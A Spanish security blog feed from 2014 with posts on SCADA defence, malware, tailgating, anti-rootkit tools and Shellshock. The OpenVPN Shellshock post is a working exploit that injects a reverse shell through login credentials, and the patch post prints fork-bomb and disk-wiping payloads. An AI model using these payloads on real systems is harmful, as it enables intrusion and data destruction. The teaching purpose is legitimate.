Intrusión a un sistema SCADA desde el exterior: peligros asociados con un mal diseño.
Intrusión interna a un sistema SCADA.
Ataque a servidor web de una RTU y de un HMI en un aplicativo SCADA.

Descrito lo anterior, procedo a mencionar las remediaciones más comunes a los problemas de seguridad ya descritos:

Métodos, modelos, técnicas y tecnologías de seguridad utilizadas en sistemas de control y automatización:

Cortafuegos, diodos de datos, IPS, segmentación por encriptación y redes virtuales.
Autenticación y autorización de entidades.
Cifrado de comunicaciones: túneles/VPN, seguridad inalámbrica, etc.
Registradores de eventos y SIEMs.
Escáneres de vulnerabilidades.
Antivirus y listas blancas.
Tecnologías de gestión de parches.
DLPs.
Honeypots y honeynets.

Segmentación en sistemas de control y automatización:

Diseño de DMZs y de zonas/segmentos.
Recomendaciones del IEC 643443/ISA99 y la RG 5.71.
Buenas prácticas en el despliegue de cortafuegos: arquitecturas y reglas de filtrado.

Monitorización de seguridad en sistemas de control y automatización:

Despliegue, configuración y mantenimiento de IDS/IPS de red y de host.
Despliegue de sistemas de monitorización y gestión de eventos: SNMP-to-OPC, Syslog, agregación de logs, arquitecturas.
Gestión de alertas, etc.
Honeynets y honeypots.

Por supuesto, los pasos más comunes a seguir para implementar lo anterior sería:

Configuración de firewall perimetral.
Segmentación basada en VLAN.
Instalación y configuración de un diodo de datos.
Instalación y configuración de un IDS Modbus/TCP.

Nos vemos!

Antivirus en Sistemas de Control Industrial

noreply@blogger.com (Randall Barnett) — Thu, 30 Oct 2014 23:15:00 +0000

Hola estimados,

Hoy deseo hablarles sobre un tema no tan conocido fuera del ámbito industrial. Los Sistemas de Control Industrial (ICS) están al límite entre lo privado y lo público. La infraestructura crítica está en manos de empresas que sirven al público, casi siempre. Las regulaciones de los gobiernos son lo único que motiva a muchas de estas compañías para que mantengan cierto nivel de seguridad.

El interés sobre los ICS ha aumentado desde que Stuxnet apareció en las noticias el año pasado. Esto se comprueba con el hecho de que la gente ha comenzado a publicar vulnerabilidades sin parchar y exploits. Los ICS y los sistemas llamados SCADA se enfocan en mejorar la fiabilidad y el tiempo de funcionamiento, pero la seguridad se ha quedado en un segundo plano.

De las pocas remediaciones a nivel país que se conocen, Irán curiosamente, aplicó una en 2010 cuando crearon un antivirus para eliminar el gusano Stuxnet. Este afectó los equipos industriales de todo el mundo, aunque tenía como blanco a las instalaciones industriales de Irán, sobre todo, la planta nuclear de Bushehr en el sur del país persa.

Hoy en día es necesario incluso contar con sistemas de antivirus industriales, que permitan no solo una protección reactiva, sino que complementen el anillo de seguridad de estándares ya conocidos.

De acuerdo a los nuevos estándares internacionales sobre Seguridad Cibernética, las responsabilidades de los proveedores de soluciones son:

Garantizar el diseño de productos y aplicaciones con características de seguridad
Avalar que éstos permiten a los clientes cumplir con los estándares de seguridad
Proveer recomendaciones y metodologías que orienten la implementación de estos estándares

Y, respecto de los usuarios, las responsabilidades son:

Definir procedimientos de seguridad (seguridad organizacional)
Responsabilizar a las personas en el proceso (seguridad personal)
Garantizar el cumplimiento de los estándares de seguridad

Basado en lo anterior podemos asegurar que la puerta de entrada del malware a una empresa, en un porcentaje muy alto, será por la mal-llamada capa 8: el usuario final. Acá es donde entran a jugar los antivirus.

Un ejemplo de la importancia de tener un buen antivirus y su respectiva asistencia técnica, lo dió F-Secure en 2013 cuando descubrieron que muchos ataques eran dirigidos al sector energético, por medio de la propagación de la familia de malware (presenta 88 variantes) Havex en ICS.

Havex es un Troyano de Acceso Remoto (RAT), que llega a sus víctimas a través de correos electrónicos no deseados (spoofing) y kits de explotación, pero para maximizar la probabilidad de infección, los atacantes también utilizaron la técnica watering hole o abrevadero.

Hay muchas marcas y aplicación variada de los antivirus que se podrían usar. Por ejemplo, CIFS Integrity Monitoring (CIM), que es el programa antivirus industrial de Phoenix Contact. Sin tener que descargar archivos de patrones de virus, CIM reconoce si los sistemas basados en Windows como sistemas de control, unidades de mando o PC han sido manipulados, por ejemplo por software malintencionado. El CIM presenta un componente llamado CIFS-Antivirus-Scan-Connector, que permite a los escáneres antivirus externos realizar un análisis en unidades de disco posteriores a FL MGUARD (router-firewall) y que no son accesibles desde fuera, como en los PC industriales en células de producción.

Kaspersky también ha ofrecido soluciones propias para la industria de purificación de agua, en el campo de los antivirus.

Recuerden siempre el enfoque "Defense in Depth" (DiD) en seis pasos:

A nivel de diseño:

1. Plan de Seguridad. Crear, aplicar y actualizar políticas y procedimientos de seguridad. Ellos deben evaluar la vulnerabilidad, mitigar los riesgos y definir cómo recuperarse de eventuales incidentes.

A nivel de implementación:

2. Separación de la red. Separar completamente el Sistema de Automatización y Control Industrial (IACS) de otras redes internas o externas creando subredes físicas o lógicas, de modo de añadir una capa adicional de seguridad a una red organizacional LAN (DMZ, demilitarized zone).

3. Protección de perímetro. Proteger el Sistema de Automatización y Control Industrial (IACS) contra accesos no autorizados a través del uso de firewalls, autenticación, autorización, VPN y programas de antivirus. Además, contemplar los eventuales accesos remotos al Sistema de Automatización y Control Industrial (IACS)

4. Segmentación de la red. Utilizar switches administrados y VLANs para dividir la red en segmentos. Esto permite contener eventuales brechas de seguridad dentro de un único segmento.

5. Robustez de los dispositivos. Configurar adecuadamente los dispositivos PLCs, PACs, PCs, switches, entradas/salidas e instrumentos para aumentar la seguridad: fuerte gestión de accesos vía passwords; definición de perfiles de usuarios; desactivación de servicios e interfaces sin uso.

A nivel de operación y mantenimiento:

6. Monitoreo y actualización. Permanente supervisión de las redes de comunicaciones y de todas las operaciones. Actualizar software y firmware para reducir la vulnerabilidad.

En fin, hay muchas recomendaciones y soluciones al caso, pero siempre es bueno escuchar a los expertos. Siemens tiene varias herramientas interesantes. El US CERT se pronunció al respecto hace un tiempo atrás. Los conmino a leer las recomendaciones.

Nos vemos.

Botnets y Centroamérica, nuevo mercado!

noreply@blogger.com (Randall Barnett) — Fri, 10 Oct 2014 15:47:00 +0000

Malas noticias queridos centroamericanos!

Según la firma Eset, en este 2014 la región centroamericana esta siendo invadida con dos tipos de malware, que ponen en peligro los sistemas. Estamos hablando de Win32/Dorkbot y VBS/Agent.NDH.

El primero ha estado en el podio de las detecciones. Este gusano que se comunica con su Centro de Comando y Control (C&C) a través del protocolo IRC da mucho que hablar. Cuenta con 80 mil equipos infectados, analizando sus capacidades y campañas de propagación.

Uno de los puntos de mayor efectividad en este gusano radica en sus métodos de propagación y persistencia en el sistema. Este logró abusar de los archivos LNK (Accesos directos) para infectar sistemas y afectar a millones de dispositivos USB que usuarios desprevenidos conectaban a cualquier equipo y luego conectaban en sus computadoras personales.

Innovando en sus técnicas de propagación, reemplazaba todas las carpetas y archivos por accesos directos, y para lograr ejecutarse modificaba el campo Target (Destino) por una concatenación de comandos que ejecutarían el archivo malicioso y luego abrirían la carpeta para que el usuario pueda ver los archivos.

Sin embargo, Dorkbot en los últimos meses perdió terreno en comparación a una nueva amenaza: VBS/Agent.NDH, uno de los gusanos más propagados en Latinoamérica.

Esta amenaza es un script, que utiliza la plataforma de Scripting de Microsoft para realizar sus acciones maliciosas y logró en solo un par de meses competir con Dorkbot e incluso superarlo en cantidad de detecciones en algunos países de Centroamérica, y del resto de América Latina.

VBS/Agent.NDH es capaz de descargar otras amenazas y generar visitas en sitios web, capacidad altamente relacionada al malvertising y a Black Hat SEO. Entre los efectos más críticos para un usuario, le otorga al cibercriminal un acceso remoto al equipo víctima.

¿Error de capa 8?

Todos sabemos que el phising (que se usa para las botnets) va dirigido a usuarios finales. ¿Ellos tendrán la culpa de eso? ¿Seremos mas bien nosotros, los de TI los responsables indirectos?

Lo primero que se recomienda es hacer charlas y capacitaciones donde se les explique qué es el phishing y cual esta magnitud de caer en esta trampa.

Estamos en la obligación de innovar con un sistema de prácticas realistas, donde se hagan laboratorios virtuales en entornos controlados y poder mostrarle al usuario a qué esta expuesto. Estas prácticas deben ser sin fines maliciosos, pero si para educar a los usuarios sobre cualquier temática de seguridad informática pero si recalcando el alcance de cada una de ellas. La prevención es un arma muy poderosa contra las ciberamenazas.

Los delincuentes cibernéticos ya no lanzan millones de correos electrónicos a la deriva como sucedía anteriormente, ahora utilizan técnicas dirigidas e intentan integrar tácticas de ingeniería social. Las redes sociales son puente para que los cibercriminales investiguen e incluso creen perfiles falsos para robar la información de las futuras víctimas.

Investigadores de Websense indicaron que las principales líneas de ataque son las siguientes:

Invitación a conectarse en LinkedIn.
La entrega del mensaje ha fallado: devolver el mensaje al remitente.
Querido cliente del banco .
Comunicación importante.
Mensaje no entregado devuelto al remitente.

Estas son las principales formas de engaño de los ciberdelincuentes para que los destinatarios hagan clic en un enlace malicioso y el archivo se descargue, infectando el dispositivo.

¿En la región somos ToE (Target of Evaluation)?

La firma Proofpoint se encontró un gran número de sitios web de WordPress que se vieron involucrados con un software malicioso llamado Qbot. La compañía analizó el malware y localizó un panel de control sin protección en un servidor utilizado por la banda para controlar las computadoras.

El panel de control arrojó una gran cantidad de información acerca de la campaña de malware, donde recogieron 800.000 credenciales de cuentas bancarias en línea, muchos de los cuales estaban en cinco de los mayores bancos de Estados Unidos y algunos en Europa.

Además de robar credenciales de banca en línea, los atacantes también parecen estar haciendo dinero de los ordenadores hackeados de otras maneras.

El malware Qbot también tiene un módulo llamado SocksFabric para una red de tunneling. Esa red se alquila a otros cibercriminales que pueden utilizar los ordenadores hackeados como proxies para utilizar sus propios datos en todo o enmascarar su actividad.

El 52% de los ordenadores comprometidos se ejecutaban con Windows XP. Sorprendente que todavía lo usen.

Un ejemplo de esta vigilancia la sufrió Costa Rica, en la cual, cerca de 100 clientes del Banco Popular fueron víctimas de una estafa que se realizó el pasado 27 de setiembre en la madrugada por el método de skimming. A cada cliente se le sustrajeron cerca de 250 USD, lo que entre todos equivale a un total de 25.000 USD.

Recuerde nuevamente, la prevención es su mejor arma.

Ingeniería social 101: Tailgating

noreply@blogger.com (Randall Barnett) — Thu, 09 Oct 2014 22:36:00 +0000

Pura vida gente!

Como me comprometí a hacerles unos posts sobre ciberseguridad básicos, les comparto el tema de Tailgating.

La palabra proviene de una costumbre social estadounidense (entiéndase "gringa"), donde se invita a la gente a compartir y degustar comida. Normalmente se hace con una parrilla, se abre la parte de atrás de un vehículo (de ahí el término tailgate) donde está todo lo necesario para la parrillada y se permite que gente de alrededor (incluso desconocidos) accedan a la comida.

Vamos al grano. El tailgating es un tipo de Ingeniería Social en donde un atacante puede obtener acceso (que originalmente no posee) a un área restringida, siguiendo a alguien que si posee el permiso de ingreso a dicha zona y que obviamente, actuando de manera tan natural como si en realidad tuviese permiso de ingreso. Para que me comprendan les comparto este video:

Pudieron observar que el primer intento si dio resultado y el segundo no, ¿por qué?

Para explicar eso, acudo a costumbres sociales establecidas bajo la palabra: cortesía. Este tipo de ingeniería social funciona, debido a que la gente (dependiendo de varios factores) normalmente es cortés. En muchos países es mal visto no sostener la puerta mientras otra persona trata de ingresar al mismo sitio que usted lo hace. Como resultado de eso, se abre una brecha de seguridad a nivel perimetral.

Cómo remediar dicha brecha? Sencillo. Si trabajas en una zona de acceso restringido y alguien desea entrar detrás tuyo o de alguien más, y que sea ajeno a dicho lugar, solo debes detenerlo y preguntarle 3 cosas: quién es (identificación), cuál es el objetivo de su visita (verificación) y a quién pretende visitar (autenticación).

Si las respuestas no te satisfacen, debes aclararle que se encuentra por ingresar a zona restringida y que necesita permiso. Le indicas que espere en una zona común, cierras la puerta de acceso restringido y luego llamas a seguridad para lo guíen donde se pueda identificar adecuadamente.

No necesitas ser rudo(a), solo firme.

Nos vemos.

ShellShock PoC para OpenVPN

noreply@blogger.com (Randall Barnett) — Fri, 03 Oct 2014 17:18:00 +0000

Hola estimados,

Siguiendo con el trending topic de ShellShock, nos dimos cuenta que los servidores basados en OpenVPN son vulnerables al problema del Bash.

OpenVPN posee varias opciones de configuración que pueden llamar comandos personalizados durante diferentes etapas del tunnel session. Muchos de estos comandos son llamados con variables de entorno, y algunas de las cuales pueden ser controladas por clientes de este. Una opción usada para la autenticación (username+password) es "auth-user-pass-verify". Si el script llamado usa un shell vulnerable, el cliente simplemente puede enviar el exploit con el payload modificando esos dos parámetros. Este vector de ataque, como podrán imaginar, puede resultar dañino.

Funciona así:

La opción ejecuta un script, definido por el administrador, mediante el interprete de línea de comandos para validar los nombres de usuario y contraseñas proporcionados por los clientes. Esto abre la posibilidad de que ciertos clientes envíen nombres de usuario y contraseñas formados maliciosamente, para explotar la vulnerabilidad Shellshock cuando esos datos sean pasados a Bash como cadenas. Diabólicamente genial... desde un punto de vista académico, claro está.

Configuremos un ejemplo. Si deseas saber como se instala un servidor con OpenVPN sigue este manual. Asumamos que el servidor tiene esta configuración en el archivo server.config:

### server.conf
port 1194
proto udp
dev tun
client-cert-not-required # Para que no pida certificados al cliente
auth-user-pass-verify /etc/openvpn/user.sh via-env
tmp-dir "/etc/openvpn/tmp"
ca ca.crt
cert testing.crt
key testing.key # Este archivo debería mantenerse como secreto de estado
dh dh1024.pem
server 10.8.0.0 255.255.255.0 # IP y máscara de prueba
keepalive 10 120
comp-lzo
user nobody
group nogroup
persist-key
persist-tun
client-cert-not-required
plugin /usr/lib/openvpn/openvpn-auth-pam.so login
script-security 3
status openvpn-status.log
verb 3

Verificamos que tanto el usuario como la clave, puedan recibir literales de cadena como valores:

### user.sh
#!/bin/bash
echo "$username"
echo "$password"

Iniciamos el servidor:

### Inicio del servidor
openvpn tus_parametros_de_inicio

En un terminal aparte ponemos a escuchar con el NetCat, el puerto 4444:

### terminal 1
nc -lp 4444

En un segundo terminal conectamos un cliente al servidor. Usaré la IP de ejemplo 10.10.0.52, además en el parámetro --ca estoy pasando un certificado (de todas formas no serviría puesto que arriba se configuró así):

### terminal 2
sudo openvpn --client --remote 10.10.0.52 --auth-user-pass --dev tun --ca tuCertificado.cert --auth-nocache --comp-lzo

Acá viene la maña! Cuando nos pida usuario y clave, ponemos esto:

### usuario && clave ambas son "shellshockeadas"
user:() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 &
pass:() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 &

Explicación

Aplicamos ShellShock a través de cada parámetro (username y password). Básicamente le dijimos al puerto (en /dev/tcp/xxx.xxx.xxx.xxx/4444) que switcheara los file descriptors. Bien, lección Linux 101:

La expresión "0>&1" proviene de un concepto llamado file descriptor, que es usado generalmente en sistemas operativos tipo POSIX. En la terminología de Microsoft Windows y en el contexto de la biblioteca stdio, se prefiere el término "manipulador de archivos" o "manipulador de ficheros", ya que es técnicamente un objeto diferente. En POSIX, un descriptor de archivo es un entero, específicamente del tipo int de C. Hay 3 descriptores de archivo estándar de POSIX que presumiblemente tiene cada proceso, salvo quizá los demonios:

Valor entero	Nombre
0	Entrada estándar (stdin)
1	Salida estándar (stdout)
2	Error estándar (stderr)

Una forma de referirse a ellas es usando, según el lenguaje de programación y el entorno letras mayúsculas o minúsculas, los nombres STDIN, STDOUT y STDERR.

El shell del sistema es el encargado, generalmente, de abrir esta entrada y conectarla con el terminal al que está asignado el programa, puesto que es el programa más usual para comunicarse con un operador. Acá convertimos el STDIN en STDOUT... ¿por qué?

STDOUT determina el destino del resultado de un programa o proceso, por defecto es la pantalla y se muestra el resultado en la consola de la terminal, sin embargo puede redirigirse hacia un archivo, por ejemplo. Si ya les pasó por la cabeza, si... es para hacernos del control del servidor en forma remota por medio del servicio OpenVPN.

Lo que queda es fijarse en el log, te mostrará una info muy interesante acerca del certificado y otras cosillas. Les dejo la inquietud rebotando en sus cabezas... tírense al agua y prueben otros comandos.

Nos vemos gente!

Listado de Anti-Rootkit

noreply@blogger.com (Randall Barnett) — Tue, 30 Sep 2014 14:48:00 +0000

Hola gente!

Por allá del 2010, un researcher llamado a_d_13 publicó un listado de Anti-rootkits. Revisé todos los links y estos están vigentes aún. Espero que este listado les sea de utilidad y logré resolverles algún problema con rootkits. Acá la lista:

Herramientas de 32 bits:

ATool (mirror) - http://www.kernelmode.info/ARKs/atool.rar
Antivir Antirootkit - http://dl.antivir.de/down/windows/antivir_rootkit.zip
AntiSpy - http://antispy.googlecode.com/files/AntiSpy1.2.zip o este: http://www.kernelmode.info/forum/viewtopic.php?f=11&t=2438
Avast! Antirootkit - http://files.avast.com/files/beta/aswar.exe
Avast! MBR Scanner http://public.avast.com/~gmerek/aswMBR.htm
AVZ - http://www.z-oleg.com/secur/avz/download.php
Catchme - http://www2.gmer.net/catchme.exe
CodeWalker ARK - http://cmcinfosec.com/download/cmcark_cw0.2.4.500.rar
CodeWalker ARK (mirror) -http://www.kernelmode.info/ARKs/cmcark_cw0.2.4.500.rar
CsrWalker (mirror) - http://www.kernelmode.info/ARKs/cwalker.rar
DarkSpy 1.05 (mirror) - http://www.kernelmode.info/ARKs/DS105fix2beta.rar
DeepMonitor - http://orkblutt.free.fr/DeepMonitor.exe
Deep System Explorer (dead link) -http://diamondcs.com.au/downloads/dsesetup.exe
Deep System Explorer (mirror) - http://www.kernelmode.info/ARKs/dsesetup.exe
Dr. Web DwShark (mirror) - http://www.kernelmode.info/ARKs/DwShark.rar
Dr. Web DwShark (newer version) (mirror) -http://www.kernelmode.info/ARKs/DrwShark.7z
Esage Bootkit Remover http://www.esagelab.com/files/bootkit_remover.rar
Esage Bootkit Remover (mirror)http://www.kernelmode.info/ARKs/bootkit_remover.zip
ESET SysInspector http://www.eset.eu/en/eset-sysinspector
F-Secure Blacklight - ftp://ftp.f-secure.com/anti-virus/tools/fsbl.exe
Filter Monitor - http://ntcore.com/files/FilterMon.zip
FindDll 2 (by Eric_71) - http://eric71.geekstogo.com/beta/FindDll2.exe
FLISTER (mirror) - http://www.kernelmode.info/ARKs/flister.zip
G Data Rootkit Scanner - http://www.kernelmode.info/forum/viewtopic.php?f=11&t=3342
GMER - http://www2.gmer.net/gmer.zip
Helios - http://helios.miel-labs.com/downloads/Helios.zip
Helios Lite - http://helios.miel-labs.com/downloads/Helios-Lite.zip
HiddenFinder - http://www.wenpoint.com/download/HiddenFinder_setup.exe
Hook Analyzer - http://www.resplendence.com/download/hookanlz302.exe
HookShark (dead link) - http://home.arcor.de/neotracer/HookShark.rar
HookShark (mirror) - http://www.kernelmode.info/ARKs/HookShark.rar
IceSword 1.22 (english) -http://mail.ustc.edu.cn/~jfpan/download/IceSword122en.zip
IceSword 1.22 (english) (mirror) -http://www.kernelmode.info/ARKs/IceSword122en.zip
Kaspersky TDSSKiller http://support.kaspersky.com/downloads/utils/tdsskiller.zip
Kernel Detective v1.3.1 -http://www.at4re.com/files/Tools/Releases/GamingMasteR/Kernel_Detective_v1.3.1.zip
Kernel Detective v1.3.1 (mirror) -http://www.kernelmode.info/ARKs/Kernel_Detective_v1.3.1.zip
kX-Ray 1.0.0.102 (mirror) - http://www.kernelmode.info/ARKs/kX-Ray_v1.0.0.102_XP32_beta.zip
Malwarebytes Anti-rootkit - http://downloads.malwarebytes.org/file/mbar
Mandiant Memoryze - http://fred.mandiant.com/MemoryzeSetup.msi
McAfee Rootkit Detective - http://download.nai.com/products/mcafee-avert/McafeeRootkitDetective.zip
modGREPER (mirror) - http://www.kernelmode.info/ARKs/modGREPER-0.3-bin.zip
NIAP Rootkit Detect Tools (mirror) -http://www.kernelmode.info/ARKs/NIAPAntiRootkitTools.rar
Norton Power Eraser http://liveupdate.symantec.com/upgrade/NPE/1033/NPE.exe
Oshi Unhooker http://www.oshiunhooker.com/download.php
Panda Antirootkit - http://research.pandasecurity.com/blogs/images/AntiRootkit.zip
Process Hunter - http://www.wasm.ru/baixado.php?mode=tool&id=359
Process Walker (mirror) - http://www.kernelmode.info/ARKs/ProcessWalker.rar
Radix - http://www.usec.at/downloads3/radix_installer.zip
RegReveal - http://www.geocities.jp/kiskzo/regreveal_v10beta3.zip
RootkitDetector -http://www.tarasco.org/security/Rootkit_Detector_rkdetector/RootkitDetector.zip
Rootkit Unhooker 3.8 SR2 - http://www.kernelmode.info/ARKs/RkU3.8.389.593.rar
Rootkit Revealer - http://download.sysinternals.com/Files/RootkitRevealer.zip
RootQuest (dead link) - http://comsentry.com/files/RootQuest_v1.exe
RootQuest (mirror) - http://www.kernelmode.info/ARKs/RootQuest_v1.rar
RootRepeal - http://rootrepeal.googlepages.com/RootRepeal.rar
Safe'n'Sec Personal Pro + Rootkit Detector (mirror) -http://www.kernelmode.info/ARKs/snsrd_eng.exe
SafetyCheck 1.7 - http://yyuyao.googlepages.com/SafetyCheck1.7Beta.rar
SanityCheck - http://www.resplendence.com/download/sanitySetup.exe
Sophos Antirootkit - http://www.sophos.com/products/free-tools/sophos-anti-rootkit/download/
Stealth MBR Rootkit Detector - http://www2.gmer.net/mbr/mbr.exe
SysProt Antirootkit -http://sites.google.com/site/sysprotantirootkit/Home/SysProt.zip?attredirects=0&d=1
SysReveal - http://www.sysreveal.com/download/SysReveal.zip
TDSS Remover - http://www.esagelab.com/files/tdss_remover_latest.rar
Tizer Rootkit Razor (mirror) -http://www.kernelmode.info/ARKs/Tizer%20Rootkit%20Razor%20Setup.msi
TrendMicro RootkitBuster -http://www.trendmicro.com/ftp/products/rootkitbuster/RootkitBuster_3.60.1016.zip
Tuluka Kernel Inspector - http://tuluka.org/tlk/Tuluka_v1.0.394.77.zip
Tukula Kernel Inspector (mirror) -http://www.kernelmode.info/ARKs/Tuluka_v1.0.394.77.zip
VBA32 Antirootkit - ftp://anti-virus.by/pub/vba32arkit.zip
XueTr - http://xuetr.com/download/XueTr.zip
XueTr CLI - http://www.xuetr.com/download/XueTr_Cmd.zip
YasKit 1.223 (mirror) - http://www.kernelmode.info/ARKs/YasKit1.223.rar

Herramientas de 64 bits:

Avast! Antirootkit - http://files.avast.com/files/beta/aswar.exe
Avast! MBR Scanner - http://public.avast.com/~gmerek/aswMBR.htm
ESET SysInspector - http://www.eset.eu/en/eset-sysinspector
GMER (link same as above)
SanityCheck (link same as above)
Sophos - http://www.sophos.com/en-us/products/free-tools/sophos-anti-rootkit.aspx
TrueX64 (mirror) - http://www.kernelmode.info/ARKs/TrueX64.rar
Win64AST - http://www.kernelmode.info/forum/viewtopic.php?f=11&t=1691

Nos vemos.

Shell-Shock y cómo parchearlo!

noreply@blogger.com (Randall Barnett) — Fri, 26 Sep 2014 16:22:00 +0000

Hola, espero estén alertas con esta vulnerabilidad que se viene hablando desde el 24-09-2014.

Primero un poco de contexto, para que la gente que no sabe pueda entender. Bash es un utilitario cuya función consiste en interpretar órdenes. Está basado en la shell de Unix y es compatible con POSIX. Su nombre es un acrónimo de Bourne-Again Shell (otro shell bourne), haciendo un juego de palabras: born-again = renacimiento. Fue uno de los primeros intérpretes importantes de Unix. Listo, hasta acá la historia. A lo que vinimos:

Y ahora... cuál es el problema?

En muchos SO's las variables de entorno proporcionan una forma ágil de influir en el comportamiento de los programas instalados en este. Estas variables, por lo general, se componen de un nombre y un valor asignado. En la shell Bash se pueden ejecutar dichas variables por medio de funciones. En estos ambientes, es común que una gran cantidad de programas ejecuten shell Bash en background y a menudo, se utiliza para proporcionar acceso remoto a un usuario (a través de ssh, telnet, etcétera), proporcionar un analizador de secuencias de comandos CGI (Apache) o incluso apoyar la ejecución de comandos.

El día miércoles 24 de este mes, se anunció la vulnerabilidad y se publicó con el CVE-2014-7169 originalmente encontrada por el hacker francés Stephane Schazelas. Más tarde el experto en ciberseguridad Travis Ormandy lanzó un segundo exploit que funcionaba en sistemas ya parcheados, debido que los primeros parches eran incompletos. El Shell-Shock (como también le llaman) tiene una nota de gravedad 10, lo que significa que tiene un impacto máximo, y una calificación baja en complejidad de explotación, que significa que es relativamente fácil de utilizar por cibercriminales para lanzar ataques.

Podemos crear una función en el intérprete, exportarla e invocarla, por ejemplo:

$function prueba { echo "hola"; }
$ export –f prueba
$ bash
$ prueba
  hola

El problema radica en el mecanismo de exportación y cómo se interpreta el código que se inyecta en el entorno donde es exportada la función.

Para conseguir lo anterior, el bash recurre a un pequeño truco. No exporta la función como tal, sino que lo hace en una variable de entorno donde se interpreta su valor como el cuerpo de una función. Usando el ejemplo anterior, en vez de una función creemos una variable de entorno:

$ prueba = '() { echo "hola"; }'

Y exportamos la variable...

$ export prueba
$ bash
$ prueba
  hola

Cuando el entorno recibe esta variable y el interprete detecta la siguiente cadena "() {" entiende que está ante una función y comienza a interpretar su código. El problema (y esto es lo diabólico ja ja ja...), es que NO para de interpretar cuando termina el cuerpo de la función y continua ejecutando el código que viene detrás del cuerpo.

Un par de ejemplos:

DoS casero! Conocido como la fork-bomb, le pide a tu sistema ejecutar una gran cantidad de procesos hasta que el sistema se bloquea: '() {echo "hola";}; :(){:|:&};:'
Este comando puede formatear o eliminar todos los archivos contenidos en un dispositivo: '() {echo "hola";}; mkfs.ext3 /dev/sda'

La función debería de terminar justo cuando encuentre el "};" correspondiente pero inexplicablemente no lo hace, y peor aún, ejecuta directamente ese código anexado al cuerpo de la función.

Entonces, qué alcance tiene la vulnerabilidad?

Como resultado de esta vulnerabilidad muchos contextos están expuestos, por ejemplo:

El ForceCommand es usado en configuraciones sshd, para proveer capacidades de ejecución de comandos a usuarios remotos. Este fallo puede ser usado para hacer bypass de comandos arbitrarios. Algunos deployments en Git o en Subversion pueden ser afectado por medio de estas inyecciones de código.
Los servidores Apache usan el mod_cgi o el mod_cgid, y estos pueden ser afectados con CGI scripts que sean escritos en bash.
Otra falla se da mediante clientes DHCP, que en algunos casos ejecutan Bash scripts y utilizan variables de entorno suministradas por el servidor. Por ejemplo vean esta PoC para lograr Remote Code Execution (RCE).

OK... que hay del parche?

Debes comprender que va a arreglar sólo algunos de los aspectos de la vulnerabilidad y que al ser tan reciente, aún se desconocen los efectos secundarios del parche, además de las distintas opciones de ataques que podrían existir.

Puedes utilizar este >>>script<<< para prevenir y mitigar el impacto. En última instancia ya hay instrucciones para parchear el Bash.

Para acabar con el cuento, hay una serie de scripts para probar tanto la vulnerabilidad como el parche. Acá les dejo el post de la gente de RedHat al respecto.

Nos vemos y mucha suerte!

No es ciencia ficción, es Malware!

noreply@blogger.com (Randall Barnett) — Mon, 08 Sep 2014 23:29:00 +0000

Hola de nuevo,

Debido a ciertas consultas de mis contactos en redes sociales, he decidido tratar este tema (que para muchos de ustedes es muy básico), que el grueso de la población en Internet no considera seriamente.

¿Qué es el Malware?

El Malware (Malicious softWare), también llamado badware, código maligno, software malicioso o software malintencionado, es un tipo de software que tiene como objetivo infiltrarse o dañar una computadora o sistema de información sin el consentimiento de su propietario.

El término Malware es muy utilizado por profesionales de la informática para referirse a una variedad de software hostil, intrusivo o molesto. El término virus informático suele aplicarse de forma incorrecta para referirse a todos los tipos de Malware, incluidos los virus verdaderos.

Primero debo aclarar que a pesar de que una persona puede tener uno o varios antivirus (que deberían llamarse Antimalware) instalados en su ordenador, no es indicativo que está a salvo. Por lo que usted debería preguntarse:

¿Estos me protegen al 100%? Es una pregunta que tiene mucha gente y cuya respuesta es muy simple: NUNCA. Es cierto que hay antivirus muy completos y otros no tanto, por lo que no debemos confiarnos en ninguno, lo mejor es no entrar en sitios sospechosos (que carguen mucha publicidad, banners, pornografía…) y no descargar archivos que no estemos seguros de su procedencia.

¿La garantía de un equipo cubre la infección por virus? Este es un tema algo delicado, pero la respuesta es un definitivo NO. Si el equipo se infecta de Malware se supone que la culpa la has tenido tú y no es un problema del software. Lo siento, pero la realidad es tan dura como un puño en tu cara.

Existen varios tipos de Malware muy expandidos por Internet, y obvio, por redes sociales. Les cito los más comunes:

Malware infeccioso: virus y gusanos. Los tipos más conocidos de malware, virus y gusanos, se distinguen por la manera en que se propagan, más que por otro comportamiento particular. El término virus informático se usa para designar un programa que, al ejecutarse, se propaga infectando otros softwares ejecutables dentro de la misma computadora. Los virus también pueden tener un payload que realice otras acciones a menudo maliciosas, por ejemplo, borrar archivos. Por otra parte, un gusano es un programa que se transmite a sí mismo, explotando vulnerabilidades en una red de computadoras para infectar otros equipos. El principal objetivo es infectar a la mayor cantidad posible de usuarios, y también puede contener instrucciones dañinas al igual que los virus.
Malware oculto: Backdoor o Puerta trasera, Drive-by Downloads, Rootkits y Troyanos. Un backdoor o puerta trasera es un método para eludir los procedimientos habituales de autenticación al conectarse a una computadora. Una vez que el sistema ha sido comprometido (por uno de los anteriores métodos o de alguna otra forma), puede instalarse una puerta trasera para permitir un acceso remoto más fácil en el futuro. Las puertas traseras también pueden instalarse previamente al software malicioso para permitir la entrada de los atacantes. Drive-by Downloads es un término puede referirse a las descargas de algún tipo de malware que se efectúa sin consentimiento del usuario, lo cual ocurre al visitar un sitio web, al revisar un mensaje de correo electrónico o al entrar a una ventana pop-up, la cual puede mostrar un mensaje de error. Sin ser su verdadera intención, el usuario consiente la descarga de software indeseable o de malware, y estas vulnerabilidades se aprovechan. Las técnicas conocidas como rootkits modifican el sistema operativo de una computadora para permitir que el malware permanezca oculto al usuario. Por ejemplo, los rootkits evitan que un proceso malicioso sea visible en la lista de procesos del sistema o que sus ficheros sean visibles en el explorador de archivos. Este tipo de modificaciones consiguen ocultar cualquier indicio de que el ordenador esta infectado por un malware. A grandes rasgos, los troyanos son programas maliciosos que están disfrazados como algo inocuo o atractivo que invitan al usuario a ejecutarlo ocultando un software malicioso. Ese software, puede tener un efecto inmediato y puede llevar muchas consecuencias indeseables, por ejemplo, borrar los archivos del usuario o instalar más programas indeseables o maliciosos.
Para mostrar publicidad: Spyware, Adware y Hijacking. Los programas spyware son creados para recopilar información sobre las actividades realizadas por un usuario y distribuirla a agencias de publicidad u otras organizaciones interesadas. Algunos de los datos que recogen son las páginas web que visita el usuario y direcciones de correo electrónico, a las que después se envía spam.
Robar información personal: Keyloggers y Stealers. Los keyloggers y los stealers son programas maliciosos creados para robar información sensible. El creador puede obtener beneficios económicos o de otro tipo a través de su uso o distribución en comunidades underground. La principal diferencia entre ellos es la forma en la que recogen la información.
